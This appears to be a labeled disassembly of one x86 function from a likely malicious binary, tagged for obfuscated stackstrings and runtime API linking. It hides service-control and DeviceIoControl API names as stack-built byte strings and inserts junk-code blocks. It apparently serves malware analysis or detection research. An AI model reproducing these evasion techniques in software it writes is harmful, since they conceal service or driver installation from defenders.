Function at 0x402d46
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
push esi
push edi
mov byte [ebp - 0x98], 0x61
mov byte [ebp - 0x97], 0x64
mov byte [ebp - 0x96], 0x76
mov byte [ebp - 0x95], 0x61
mov byte [ebp - 0x94], 0x70
mov byte [ebp - 0x93], 0x69
mov byte [ebp - 0x92], 0x33
mov byte [ebp - 0x91], 0x32
mov byte [ebp - 0x90], 0x2e
mov byte [ebp - 0x8f], 0x64
mov byte [ebp - 0x8e], 0x6c
mov byte [ebp - 0x8d], 0x6c
and byte [ebp - 0x8c], 0
mov byte [ebp - 0x30], 0x4b
mov byte [ebp - 0x2f], 0x45
mov byte [ebp - 0x2e], 0x52
mov byte [ebp - 0x2d], 0x4e
mov byte [ebp - 0x2c], 0x45
mov byte [ebp - 0x2b], 0x4c
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x28], 0x2e
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4c
mov byte [ebp - 0x25], 0x4c
and byte [ebp - 0x24], 0
mov byte [ebp - 0x10], 0x4f
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x76
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x63
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x41
and byte [ebp - 4], 0
mov byte [ebp - 0x40], 0x43
mov byte [ebp - 0x3f], 0x6f
mov byte [ebp - 0x3e], 0x6e
mov byte [ebp - 0x3d], 0x74
mov byte [ebp - 0x3c], 0x72
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x53
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x76
mov byte [ebp - 0x35], 0x69
mov byte [ebp - 0x34], 0x63
mov byte [ebp - 0x33], 0x65
and byte [ebp - 0x32], 0
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x53
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x76
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x41
and byte [ebp - 0x12], 0
mov byte [ebp - 0xbc], 0x43
mov byte [ebp - 0xbb], 0x6c
mov byte [ebp - 0xba], 0x6f
mov byte [ebp - 0xb9], 0x73
mov byte [ebp - 0xb8], 0x65
mov byte [ebp - 0xb7], 0x53
mov byte [ebp - 0xb6], 0x65
mov byte [ebp - 0xb5], 0x72
mov byte [ebp - 0xb4], 0x76
mov byte [ebp - 0xb3], 0x69
mov byte [ebp - 0xb2], 0x63
mov byte [ebp - 0xb1], 0x65
mov byte [ebp - 0xb0], 0x48
mov byte [ebp - 0xaf], 0x61
mov byte [ebp - 0xae], 0x6e
mov byte [ebp - 0xad], 0x64
mov byte [ebp - 0xac], 0x6c
mov byte [ebp - 0xab], 0x65
and byte [ebp - 0xaa], 0
mov byte [ebp - 0x74], 0x44
mov byte [ebp - 0x73], 0x65
mov byte [ebp - 0x72], 0x6c
mov byte [ebp - 0x71], 0x65
mov byte [ebp - 0x70], 0x74
mov byte [ebp - 0x6f], 0x65
mov byte [ebp - 0x6e], 0x53
mov byte [ebp - 0x6d], 0x65
mov byte [ebp - 0x6c], 0x72
mov byte [ebp - 0x6b], 0x76
mov byte [ebp - 0x6a], 0x69
mov byte [ebp - 0x69], 0x63
mov byte [ebp - 0x68], 0x65
and byte [ebp - 0x67], 0
mov byte [ebp - 0x88], 0x53
mov byte [ebp - 0x87], 0x74
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x72
mov byte [ebp - 0x84], 0x74
mov byte [ebp - 0x83], 0x53
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x72
mov byte [ebp - 0x80], 0x76
mov byte [ebp - 0x7f], 0x69
mov byte [ebp - 0x7e], 0x63
mov byte [ebp - 0x7d], 0x65
mov byte [ebp - 0x7c], 0x41
and byte [ebp - 0x7b], 0
mov byte [ebp - 0x64], 0x4f
mov byte [ebp - 0x63], 0x70
mov byte [ebp - 0x62], 0x65
mov byte [ebp - 0x61], 0x6e
mov byte [ebp - 0x60], 0x53
mov byte [ebp - 0x5f], 0x43
mov byte [ebp - 0x5e], 0x4d
mov byte [ebp - 0x5d], 0x61
mov byte [ebp - 0x5c], 0x6e
mov byte [ebp - 0x5b], 0x61
mov byte [ebp - 0x5a], 0x67
mov byte [ebp - 0x59], 0x65
mov byte [ebp - 0x58], 0x72
mov byte [ebp - 0x57], 0x41
and byte [ebp - 0x56], 0
mov byte [ebp - 0xa8], 0x61
mov byte [ebp - 0xa7], 0x64
mov byte [ebp - 0xa6], 0x76
mov byte [ebp - 0xa5], 0x61
mov byte [ebp - 0xa4], 0x70
mov byte [ebp - 0xa3], 0x69
mov byte [ebp - 0xa2], 0x33
mov byte [ebp - 0xa1], 0x32
mov byte [ebp - 0xa0], 0x2e
mov byte [ebp - 0x9f], 0x64
mov byte [ebp - 0x9e], 0x6c
mov byte [ebp - 0x9d], 0x6c
and byte [ebp - 0x9c], 0
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x78], eax
nop
pushal
jmp 0x40304b
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x403054
popal
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.00401914], eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.00401910], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x40190c], eax
lea eax, [ebp - 0xbc]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.00401908], eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.00401904], eax
lea eax, [ebp - 0x88]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x401900], eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [fcn.004018fc], eax
nop
pushal
jmp 0x403109
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x403112
popal
mov byte [ebp - 0x54], 0x44
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x76
mov byte [ebp - 0x51], 0x69
mov byte [ebp - 0x50], 0x63
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x4e], 0x49
mov byte [ebp - 0x4d], 0x6f
mov byte [ebp - 0x4c], 0x43
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x6e
mov byte [ebp - 0x49], 0x74
mov byte [ebp - 0x48], 0x72
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x46], 0x6c
and byte [ebp - 0x45], 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4018f8], eax
pop edi
pop esi
pop ebx
leave
ret